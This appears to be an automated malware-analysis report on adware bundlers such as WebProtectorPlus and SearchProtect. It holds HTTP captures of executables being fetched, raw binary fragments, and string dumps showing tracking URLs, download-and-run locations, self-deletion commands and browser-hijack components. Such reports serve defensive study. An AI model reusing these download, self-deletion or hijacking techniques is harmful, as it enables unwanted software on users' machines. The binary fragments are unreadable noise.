.[.../.....%&d o.K.......$...d:......%[email protected].`....&^
Q.;7...Rr.]ij.V...;.....r<...i. 3........^&{)....6......./L...O^..l
..?.,..5....._.]..k?.T..U...S..9./z...b...j...#.J.2.xf..G.D. 4...O...q
q....d..q......1...&if#......!=..U...%^.yO.....%......O......U.q..O.Yf
h..W-0.N$.M.e(.J.?(.......l...>[email protected].........|}
FF.a.............chrome/content/main.xul.TMo.0.='@....v.....d..t....C.
....... ..._?}8_.....d.......q.$9.uB....{[email protected]../_.O.......9.%...Ika
[......c=l...5j..^(.q...9Jp4PR..Y8G:.SJ>....26...n>...S.U..,i.hB
.....\..[,.K6........BJ..{.;..,.q.=......\.\ 9.....'.l...08.......5bC.
..<.)q.....V......V.KQ...G._......ws..".6......]>Y.;./..N.Z.
<<< skipped >>>

GET /node/?s=9813&br=5 HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:26:58 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Location: ../c/SetupWPP.exe
0......


GET /c/SetupWPP.exe HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:26:58 GMT
Content-Type: application/octet-stream
Content-Length: 257237
Last-Modified: Sun, 22 Feb 2015 09:29:46 GMT
Connection: keep-alive
ETag: "54e9a18a-3ecd5"
Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........(............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...(............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>

GET /node/?s=9813&br=3 HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:26:58 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Location: ../c/webprotector_chrome
0......


GET /c/webprotector_chrome HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:26:58 GMT
Content-Type: application/octet-stream
Content-Length: 32
Last-Modified: Thu, 22 Jan 2015 19:42:16 GMT
Connection: keep-alive
ETag: "54c15298-20"
Accept-Ranges: bytes
kfecnpmgnlnbmipaogfhoacoioifjgko....


GET /node/?s=9813&br=1 HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:26:58 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Location: ../c/webprotector_installer.exe
0......


GET /c/webprotector_installer.exe HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:26:59 GMT
Content-Type: application/octet-stream
Content-Length: 288140
Last-Modified: Tue, 31 Mar 2015 13:09:04 GMT
Connection: keep-alive
ETag: "551a9c70-4658c"
Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........0.......p....@.........................
.................................................s...........C........
...................................................................p..
.............................text...hZ.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected]...@[email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...6B...Si.....VW.T.....tO.q.3.;5.6B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.6B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 72922
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-72921/72922
Age: 3227
X-Cache: Hit from cloudfront
Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)
X-Amz-Cf-Id: EgXfwTGIplCg-fmkUWXu51wgvKV3SiaeQzA1EoiC8cU_21fCRt_oBQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........0.......p....@.........................
.................................................s.......... B........
...................................................................p..
.............................text...hZ.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected]...`[email protected]... B.......D...v
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...6B...Si.....VW.T.....tO.q.3.;5.6B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.6B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=971667-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache



.&{. o.g.>.......0.'..)iN...F...mY.qO...^....V.Y......P*........f.C
6.........-...;..z..GK..........[Su.....E....Z~..._"..r...-8nl=..B....
...z..y....S}.gb.=V.....1!........}^..6.}HT.Zf..`'....=.l...ON..L..0..
m..V.Yw#U.U.{....E.. v..........MU.cN.......>..'4..-_u....."....j9.
v..^ .r&]b.v...3w'......D\..S.w....tW.......29.h._u.l$O....o.ri.F$....
t..S3..V&k.p.@vD........{..F..yL....h..`..."a.......>`M3p.".d......
.a.............!{.Kpc.5=..c`. ..A.......07F..{KJ...8.60.zN.....P......
e..~_D.v.r.....q...Al.?..^.].$..2.._h...D ...=.wJu@C....]g}=.V...V..J.
......^Kj#\.......4..y....>1. ^..J.........n....y>.b..~~1w.{{..O
.Dc.p.Q....\.d....u..}.. ...'-S)k.dM.. ,....(<...4..A.....[..V.X.t.
..[...q...c..H....1...Y.  t.2.uq.2...'3p......Y../..[.Cx...q.H.. M...&
[email protected].].`.........>..qg.(...S......vn._t'v..r....rC.v.......
.I...J.-.T.....F..J.7^.P.....w_.s.y..[...|Sl..."ic...8L!..4..h..BXT..*
.9G...m.....L.G.....~.>[email protected].....?2I#...R.8...f#_.M......./
Ue.I6.........3 ......6..........7.....z.l...ScY.>...1.....`i..t..5
.z..'K.)...... A.ms&.PN..q.E.......o;...q.....z..V.z.r..:./....nL....:
B......f.*2._o>..6K..: >A.!...4..1..w.Q..7j.........T......L.J..
...z.y{...k..y'3..h....v...........t................]~.".....n....|.U!
v`....o../...........&1.l$....Cw..{...[]B..%;..1N{4...BX..y..d4..E.;..
....E....VE.....O.JU.....e. .kj.8..p.09......_KC.\w~..f....6..3.f.j..q
.l..f..R0.V..r55.....R..T.].:.....#x'..%Q...O.y.'..}"...|...i.n..^C@(.
[email protected].,=.........Z.8 :PI.T6g....e.....p$^`.IP...8..
<<< skipped >>>






The Application connects to the servers at the folowing location(s):







WebProtectorPlus.exe_3164:




.text
`.rdata
@.data
.rsrc
vSSSh
FTPjK
FtPj;
C.PjRV
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
portuguese-brazilian
operator
GetProcessWindowStation
USER32.DLL
X-X-X-XX-XXXXXX
SOFTWARE\WebProtectorPlus\Notify\
SOFTWARE\WebProtectorPlus\
SOFTWARE\Microsoft\Windows NT\CurrentVersion\
SOFTWARE\Microsoft\Windows NT\
hXXp://stat.webprotectionfree.com/pin.gif?e=remove&s=
hXXp://stat.webprotectionfree.com/pin.gif?e=tracking&s=
Shell32.dll
hXXp://webprotectorplus.com
hXXp://webprotectionfree.com/c/SetupComponents.exe
SetupComponents.exe
Software\WebProtectorPlus\Notify
d:\Project\_Bibyte\WebProtectorPlus NO DLL\Release\WebProtectorPlus NO DLL.pdb
COMCTL32.dll
InternetOpenUrlA
WININET.dll
SHLWAPI.dll
KERNEL32.dll
USER32.dll
RegCreateKeyExA
RegCloseKey
RegOpenKeyExA
ADVAPI32.dll
ShellExecuteA
SHELL32.dll
ole32.dll
GetCPInfo
GetConsoleOutputCP
zcÁ
%Program Files% (x86)\WebProtectorPlus\WebProtectorPlus.exe
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
mscoree.dll
KERNEL32.DLL

ProtectWindowsManager.exe_3288:




.text
`.rdata
@.data
.rsrc
@.reloc
j.Yf;
_tcPVj@
.PjRW
?456789:;<=
!"#$%&'()* ,-./0123
SHELL32.dll
function not supported
operation canceled
address_family_not_supported
operation_in_progress
operation_not_supported
protocol_not_supported
operation_would_block
address family not supported
broken pipe
inappropriate io control operation
not supported
operation in progress
operation not permitted
operation not supported
operation would block
protocol not supported
GetProcessWindowStation
operator
SHLWAPI.dll
%dYeArdMoNthdDaY
URLDownloadToFileA
file_url
ShellExecuteExW
SHDeleteKeyW
GetWindowsDirectoryA
GetProcessHeap
GetSystemWindowsDirectoryW
KERNEL32.dll
USER32.dll
RegCreateKeyExW
RegCloseKey
RegOpenKeyExW
RegCreateKeyW
ReportEventW
ADVAPI32.dll
PSAPI.DLL
USERENV.dll
VERSION.dll
GetCPInfo
zcÁ
<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
263f3k3z3
=>>_> ?`?}?
5 5$5(5,5
? ?$?(?,?0?4?8?<?
:$:,:8:\:|:
%s_%s
\\.\Phys
..\Src\json\src\json_value.cpp
..\Src\json\src\json_reader.cpp
xxxx
..\Src\json\src\json_writer.cpp
kernel32.dll
mscoree.dll
- CRT not initialized
- Attempt to initialize the CRT more than once.
- floating point support not loaded
USER32.DLL
portuguese-brazilian
WindowsMangerProtect
SOFTWARE\supWindowsMangerProtect
xa.geoip
visit.heartbeat
ProtectWindowsManager.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
TypesSupported
%s is already installed
%s installed
%s failed to install. Error %d
%s is not installed
Could not remove %s. Error %d
WindowsProtectManger
Advapi32.dll
/c ping 127.0.0.1 -n 2 > nul && del
"%s" %s
psapi.dll
Explorer.exe
urlmon.dll
update.exe
Assertion failed: %s, file %s, line %d
WindowsMangerProtect Service
C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe
WindowsMangerProtect service
SysTool PasSame LIMITED
Windows SysTool Svr
20.0.0.2227
Windows SysTool.exe

ProtectService.exe_3704:




.text
`.rdata
@.data
.rsrc
@.reloc
GET %s%s%s HTTP/1.1
Host: %s
%sUser-Agent: Mozilla/4.0
POST %s HTTP/1.1
%sContent-Type: %s
User-Agent: Mozilla/4.0
Content-Length: %u
%*s %d %*s
%*[ ]%[^
?456789:;<=
!"#$%&'()* ,-./0123
file_url
E:\supsoft\SupSearchProtectV4\SearchProtect\Bin\Release\ProtectService.pdb
GetProcessHeap
GetSystemWindowsDirectoryW
KERNEL32.dll
USER32.dll
RegOpenKeyW
RegCloseKey
RegOpenKeyExW
RegCreateKeyExW
ADVAPI32.dll
SHELL32.dll
MSVCP110.dll
InternetCrackUrlW
WININET.dll
WS2_32.dll
SHLWAPI.dll
MSVCR110.dll
_crt_debugger_hook
__crtUnhandledException
__crtTerminateProcess
_calloc_crt
__crtGetShowWindowMode
_amsg_exit
_wcmdln
__crtSetUnhandledExceptionFilter
WinHttpCloseHandle
WinHttpOpen
WinHttpSetTimeouts
WinHttpCrackUrl
WinHttpConnect
WinHttpOpenRequest
WinHttpSetOption
WinHttpAddRequestHeaders
WinHttpSendRequest
WinHttpGetIEProxyConfigForCurrentUser
WinHttpGetProxyForUrl
WinHttpWriteData
WinHttpReceiveResponse
WinHttpQueryHeaders
WinHttpQueryDataAvailable
WinHttpReadData
WINHTTP.dll
SensApi.dll
VERSION.dll
PSAPI.DLL
USERENV.dll
.?AVCHttpClient@@
.?AVCTcpipSocket@@
<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
2-2v2
hXXp://
Software\Microsoft\Windows\CurrentVersion\Internet Settings
http=
WinHttpClient
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
hXXp://xa.xingcloud.com
xxxx
%u_%u
%s_%s
%s_X
\\.\PhysicalDrive%d
UpDateProcess.exe
hXXp://VVV.theviilage.com/searchprotect/up?ptid=%s&sid=%s&ln=%s_%s&ver=%s&uid=%s&dp=%s
g{2EFFE99D-743D-44D0-BBF2-F9DDDEA2F92D}
Global\{5F26509F-29FE-4598-8800-FA22CE9CC17F}__Mutex
Report HeartBeat
cmdshell.exe
hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=visit.heartbeat.%s&update0=ref,%s&update1=nation,%s&update2=language,%s&update3=version,%s
hXXp://xa.xingcloud.com/v4/searchprotect/%s?action0=xa.geoip&action1=visit&action2=install
hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=uninstall
explorer.exe
Advapi32.dll
"%s" %s
psapi.dll
Explorer.exe
json_value.cpp
ljson_reader.cpp
ProtectSvc.exe
4.0.1.2253

HPNotify.exe_3916:




.text
`.rdata
@.data
.rsrc
@.reloc
<9%uo
wszUrl
strUrlTemp
hKEY
strSelUrl
strUrl
strConfUrlTemp
strDsUrl
strHpUrl
strCmdLine
tCPW
%UUUU
Vot.VotF%qt
e_GetBrowserCurrentHpUrl
e_GetBrowserCurrentDsUrl
URLDownloadToFileW
URLDownloadToFileW ret:0XX
Error : %d
inflate 1.1.3 Copyright 1995-1998 Mark Adler
1.1.3
monochrome
unsupported bit depth
`'\%D,3
Run-Time Check Failure #%d - %s
%s%s%p%s%ld%s%d%s
%s%s%s%s
RegOpenKeyExW
RegCloseKey
del /s/q %1\*.*
%suninstall.bat
E:\supsoft\SupSearchProtectV4\SearchProtect\bin\Release\HPNotify.pdb
KERNEL32.dll
GetKeyState
USER32.dll
GDI32.dll
ADVAPI32.dll
ShellExecuteW
ShellExecuteA
ShellExecuteExW
SHELL32.dll
ole32.dll
OLEAUT32.dll
SHDeleteKeyW
SHLWAPI.dll
MSVCP110.dll
MSVCR110.dll
_calloc_crt
_CRT_RTC_INITW
__crtGetShowWindowMode
_amsg_exit
_wcmdln
_crt_debugger_hook
__crtUnhandledException
__crtTerminateProcess
__crtSetUnhandledExceptionFilter
GdiplusShutdown
gdiplus.dll
IMM32.dll
DeleteUrlCacheEntryW
WININET.dll
COMCTL32.dll
GetProcessHeap
#*1892 $
%,3:;4-&
.?AVCActiveXEnum@DuiLib@@
.?AVCWebBrowserUI@DuiLib@@
<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
<assemblyIdentity type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*' />
3?3
1-2}2
77t7
9":,:6:@:
12u2
9 9$9(9,9094989<9
0 1@1\1|1
hXXp://VVV.bing.com/
hXXp://VVV.yahoo.com/
hXXp://VVV.google.com/
%sconf
web/?type=dspp&
web/?type=dspp
hXXp://VVV.v9.com/
Itemd
BrowserAction.dll
%u_%u
%s_%s
%s_X
\\.\PhysicalDrive%d
\\.\Scsi%d:
UrlEdit
conf.xml
hXXp://v9.com/license_agreement.html
hXXp://v9.com/privacy_policy.html
hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=set.show.%s
hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=set.other.%s
%stmp%d.tmp
urlmon.dll
main.xml
explorer.exe
Global\{5F26509F-29FE-4598-8800-FA22CE9CC17F}__Mutex
IeWatchDog.dll
BrowerWatchFF.dll
BrowerWatchCH.dll
Global\GUID(6D05BFEC-4307-4649-8963-962A24345DF4)
msimg32.dll
User32.dll
WM_KEYDOWN
WM_KEYUP
WM_SYSKEYDOWN
WM_SYSKEYUP
0xX
keyboard
msftedit.dll
password
%s%s%s
Correct password required
%s\%s
WebBrowser
transshadow
transshadow1
dest='%d,%d,%d,%d'
dest='%d,%d,%d,%d' source='%d,%d,%d,%d'
source='%d,%d,%d,%d' dest='%d,%d,%d,%d'
M-d-d
WebBrowserUI
errorUrl
{D27CDB6E-AE6D-11CF-96B8-444553540000}
user32.dll
MSPDB110.DLL
ADVAPI32.DLL
/c ping 127.0.0.1 -n 2 > nul && del /s/q
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
%Program Files% (x86)\XTab\skin\
SupHPNot.exe
4,0,1,2253
SupHPNty.exe

WebProtectorPlus.exe_1388:




.text
`.rdata
@.data
.rsrc
vSSSh
FTPjK
FtPj;
C.PjRV
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
portuguese-brazilian
operator
GetProcessWindowStation
USER32.DLL
X-X-X-XX-XXXXXX
SOFTWARE\WebProtectorPlus\Notify\
SOFTWARE\WebProtectorPlus\
SOFTWARE\Microsoft\Windows NT\CurrentVersion\
SOFTWARE\Microsoft\Windows NT\
hXXp://stat.webprotectionfree.com/pin.gif?e=remove&s=
hXXp://stat.webprotectionfree.com/pin.gif?e=tracking&s=
Shell32.dll
hXXp://webprotectorplus.com
hXXp://webprotectionfree.com/c/SetupComponents.exe
SetupComponents.exe
Software\WebProtectorPlus\Notify
d:\Project\_Bibyte\WebProtectorPlus NO DLL\Release\WebProtectorPlus NO DLL.pdb
COMCTL32.dll
InternetOpenUrlA
WININET.dll
SHLWAPI.dll
KERNEL32.dll
USER32.dll
RegCreateKeyExA
RegCloseKey
RegOpenKeyExA
ADVAPI32.dll
ShellExecuteA
SHELL32.dll
ole32.dll
GetCPInfo
GetConsoleOutputCP
zcÁ
%Program Files% (x86)\WebProtectorPlus\WebProtectorPlus.exe
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
mscoree.dll
KERNEL32.DLL

biclient.exe_3272:




.text
`.rdata
@.data
.rsrc
@.reloc
PSShP
SSSSh
RegDeleteKeyExW
FtpCommandW
XXXXXXXXXXXX
kernel32.dll
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
GetProcessWindowStation
USER32.DLL
operator
d:\mTech\somoto\new_svn\BetterInstaller\BetterInstaller\Release\BetterInstaller.pdb
HttpSendRequestW
HttpQueryInfoW
HttpAddRequestHeadersW
HttpOpenRequestW
InternetCrackUrlW
WININET.dll
PSAPI.DLL
IPHLPAPI.DLL
GetProcessHeap
KERNEL32.dll
CreateDialogIndirectParamW
USER32.dll
GDI32.dll
COMDLG32.dll
CryptSetKeyParam
CryptImportKey
CryptDestroyKey
RegDeleteKeyW
RegCloseKey
RegCreateKeyExW
RegOpenKeyExW
RegQueryInfoKeyW
RegEnumKeyExW
RegOpenKeyW
ADVAPI32.dll
ShellExecuteW
ShellExecuteExW
SHELL32.dll
ole32.dll
OLEAUT32.dll
SHLWAPI.dll
USERENV.dll
GetCPInfo
GetConsoleOutputCP
.?AUIHTMLOMWindowServices@@
.?AV?$CAtlExeModuleT@VCBetterInstallerModule@@@ATL@@
'BetterInstaller.EXE'
Created by MIDL version 7.00.0500 at Tue Nov 08 16:10:48 2011
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>
1"2-2:2]2
:!:&:0:>:~:
: <'<-<`<
{C85A8C97-E040-4924-8E1D-693560EE116E}
WAdvapi32.dll
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_PERFORMANCE_DATA
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
Mscoree.dll
OLEAUT32.DLL
%u kB
%u bytes
Range: bytes=%d-%d
Range: bytes=%d-
%d:d:d
%s - %s
Wwininet.dll
r%s.%d
"%s" %s
%s (%d)%s
*.TXT
%d.%d.%d %s %sbit
<memory>%d</memory>
%DOCUMENTS%
ÞSKTOP%
hXXp://installer.filebulldog.com
%s\Mozilla\Firefox\%s\prefs.js
%s\Mozilla\Firefox\profiles.ini
biDeleteRegistryKey
biGetExecutionArguments
biCreateRegistryKey
biExistRegistryKey
Better Installer(Mozilla)
%s/%s/%s/%s?v=%s&muid=%s
%s/downloader/%s/%s/%s?v=%s&muid=%s
Preparing %s...
ekernel32.dll
mscoree.dll
KERNEL32.DLL
Open URL Error
URL Parts Error
FtpCreateDir failed (550)
Error FTP path (550)
hXXp://download.filesfrog.com/software_files/7_zip/9_20/7z920.exe
generic.exe
form.exe
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe
neric.exe
rm.exe
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe
{8856F961-340A-11D0-A96B-00C04FD705A2}
2.0.0.0
BetterInstaller.exe

YouTubeAcceleratorService.exe_3856:




.text
`.rdata
@.data
.text1
.adata
.data1
.pdata
.rsrc
uh9.tZ
otuh9.tZ
tZ9.tB
tV9.tB
l$$9.tZ
t9.tZ
uB9.tF
Tu8%XuJ@Uu
AUu.AUu
Windows CE
Windows 7
Windows Vista
Windows 2003 Server
Windows XP
Windows 2000
Windows NT
Windows Me
Windows 98
Windows 95
[CAcceleratorService::ExecuteServerAsWD] Exit
[CAcceleratorService::ExecuteServerAsWD] Impersonate Wakeup
\\.\pipe\GOOBZO_VAPIPESERVERENG
[CAcceleratorService::ExecuteServerAsWD] Enter
[CAcceleratorService::CreateEngineThread] Create thread result %d
[CAcceleratorService::CreateEngineThread] ___Error Creating the Engine Keep Alive event. error: %d
[CAcceleratorService::StopServiceExitMode] Name: %s
[CAcceleratorService::ProcessTimeoutEvent] ___Error wait for thread termination result %d
[CAcceleratorService::ProcessTimeoutEvent] ___Error StopThread result %d
[CAcceleratorService::ExecuteServer] Leave
[CAcceleratorService::ExecuteServer] Calling to ExecuteServerAsWD
[CAcceleratorService::ExecuteServer] ___Error creating the service named event. LE: %d
[CAcceleratorService::ExecuteServer] Enter
%d.%d.%d.%d
Name: %s
Path: %s
Version: %s
%s_%d.log
[CAcceleratorService::InstallDriver] Driver name: %s, Driver path: %s
[CAcceleratorService::UninstallDriver] Driver name: %s
[CAcceleratorService::InstallLsp] Module not found - LE: %d
[CAcceleratorService::InstallLsp] Function Install not found - LE: %d
[CAcceleratorService::InstallLsp] Module path: %s
[CAcceleratorService::UninstallLsp] Module not found - LE: %d
[CAcceleratorService::UninstallLsp] Function Remove not found - LE: %d
[CAcceleratorService::UninstallLsp] Module path: %s
[CAcceleratorService::RunCommand] Command: %d
[CLSPKeepAlive::GetLastLSPTestStatus] return %d
[CLSPKeepAlive::CheckOurLSPStatus]
[CLSPKeepAlive::Work] CheckOurLSPStatus - our LSP is installed!
[CLSPKeepAlive::Work] ___Error CheckOurLSPStatus - *** SBLSP NOT Installed ***
[CLSPKeepAlive::Work] ___Error creating the service named event. LE: %d
%sLow\%s\
%C:\Users\Public\Documents\%s\%s\
%s\%s\%s\
%s\Application Data\%s\%s\
[CDriverManager::CreateDriver] CreateService failed: %d
Tcpip
[CDriverManager::CreateDriver] Name: %s, Path: %s
[CDriverManager::Install] OpenSCManager failed: %d
[CDriverManager::Install] Name: %s, Path: %s
[CDriverManager::DeleteDriver] DeleteService failed: %d
[CDriverManager::DeleteDriver] OpenService failed: %d
[CDriverManager::DeleteDriver] Name: %s
[CDriverManager::UnInstall] OpenSCManager failed: %d
[CDriverManager::UnInstall] Name: %s
[CDriverManager::StartDriver] OpenService failed: %d
[CDriverManager::StartDriver] Name: %s
[CDriverManager::Load] OpenSCManager failed: %d
[CDriverManager::Load] Name: %s
[CDriverManager::StopDriver] OpenService failed: %d
[CDriverManager::StopDriver] Name: %s
[CDriverManager::UnLoad] OpenSCManager failed: %d
[CDriverManager::UnLoad] Name: %s
[CEventsThread::SetTimeoutResolution] From: %d -> To: %d
[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms
[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms
[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d
[CEventsThread::WaitForMultipleEvents] TID=%X
[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d
[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d
[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...
[CEventsThread::Start - Leave] TID=%X
[CEventsThread::Start] ___Error - Failed to create thread: %X
[CEventsThread::Stop - Leave] TID=%X
[CEventsThread::Stop - Enter] TID=%X
[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d
[CEventsThread::AlertEvent] ___Error SetEvent failed: %d
[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d
[CEventsThread::AlertEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d
[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] Event: %d
[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d
[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d
[CEventsThread::ResetEvent] ___Error Not found Event: %d
[CEventsThread::ResetEvent] Event: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d
[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d
[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d
[CEventsThread::RemoveEvent] ___Error Not found Event: %d
[CEventsThread::RemoveEvent] Event: %d
[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d
[CEventsThread::Cleanup] Closing Handle: %d
[CEventsThread::WaitEvent] TID=%X
[CEventsThread::Work] TID=%X - Exit !!!
[CEventsThread::Work] WAIT_ABANDONED - %d
[CEventsThread::Work] TID=%X
[CEventsThread::AddEvent] ___Warning event handle already exists %d
[CEventsThread::AddEvent] ___Error invalid event handle %d
[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d
[CImpersonate::Impersonate] Impersonated: %d
[CImpersonate::Revert] RevertToSelf - Error: %d
[CImpersonate::Revert] Impersonated: %d
[CImpersonate::Cleanup] Impersonated: %d
[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d
[CImpersonate::GetUserSID] The SID for %s is invalid.
[CImpersonate::GetUserSID] Not Enough Memory: %d
[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d
[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98
[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC
[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d
